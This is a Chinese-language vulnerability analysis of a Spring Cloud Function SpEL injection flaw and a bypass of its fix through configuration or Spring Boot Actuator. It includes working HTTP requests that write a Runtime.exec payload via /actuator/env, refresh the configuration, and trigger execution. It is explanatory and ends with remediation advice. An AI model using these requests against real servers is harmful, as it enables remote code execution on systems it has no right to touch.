Spring Cloud Function 新RCE 介绍及分析(借助配置文件或spring boot actuator)
字数 1392 2025-08-12 11:34:33
Spring Cloud Function SPEL表达式注入漏洞分析与利用
漏洞背景
2022年3月,Spring Cloud Function被披露存在SPEL表达式注入漏洞,影响版本从3.0.0.RELEASE到3.2.2。官方在3.2.3版本中修复了该漏洞。本教学文档将详细分析该漏洞的原理及多种利用方式。
漏洞原理分析
原始漏洞点
最初发现的漏洞是通过HTTP头中的spring.cloud.function.routing-expression参数进行SPEL表达式注入:
// 原始漏洞代码
functionFromExpression(String routingExpression, Object input)
攻击者可以通过构造恶意HTTP请求头来执行任意代码。
官方修复方式
在3.2.3版本中,官方通过commit dc5128b修复了该漏洞,主要改动是:
- 重载了
functionFromExpression方法,新增isViaHeader参数 - 当
isViaHeader为true时,使用SimpleEvaluationContext处理header输入 - 当
isViaHeader为false时,才使用StandardEvaluationContext处理
// 修复后的代码
functionFromExpression(String routingExpression, Object input, boolean isViaHeader)
绕过修复的新攻击面
虽然修复了HTTP头注入的方式,但发现:
- 从配置文件中获取
spring.cloud.function.routingExpression时,仍然调用的是原始的functionFromExpression(String routingExpression, Object input)方法 FunctionProperties类通过@ConfigurationProperties注解绑定外部配置参数- 因此可以通过控制配置文件中的
spring.cloud.function.routingExpression值来触发SPEL注入
漏洞利用方式
方法一:直接修改配置文件
在application.properties或application.yml中添加恶意配置:
spring.cloud.function.definition=functionRouter
spring.cloud.function.routingExpression=T(java.lang.Runtime).getRuntime().exec("calc")
注意:这种方式严格来说不算漏洞,因为需要开发者权限修改配置文件。
方法二:通过Spring Boot Actuator修改环境变量
前提条件:
- Actuator的env和refresh端点已暴露
- 环境允许env端点写入(Spring Cloud特性)
利用步骤:
- 写入恶意配置:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Content-Length: 109
{
"name":"spring.cloud.function.routingExpression",
"value":"T(java.lang.Runtime).getRuntime().exec('calc')"
}
- 刷新配置生效:
POST /actuator/refresh HTTP/1.1
Host: 127.0.0.1:9000
- 触发漏洞执行:
POST /functionRouter/qqq HTTP/1.1
Host: 127.0.0.1:9000
Actuator端点配置
要使上述方法生效,需要以下配置:
management.endpoint.refresh.enabled=true
management.endpoint.env.post.enabled=true
management.endpoints.web.exposure.include=env,restart,refresh
注意事项:
- Spring Cloud Hoxton.SR3版本后对env端点的可写性做了限制
- 如果遇到"POST /actuator/env returns 405 method not allowed",需要确保
management.endpoint.env.post.enabled=true
影响版本
- Spring Cloud Function 3.0.0.RELEASE 至 3.2.2
修复建议
- 升级到Spring Cloud Function 3.2.3或更高版本
- 限制Actuator端点的访问权限
- 禁用不必要的Actuator端点
技术总结
该漏洞展示了Spring框架中SPEL表达式注入的多种利用方式,特别是通过环境变量和配置文件的间接注入方式。理解这种攻击模式有助于开发者更好地保护应用程序安全。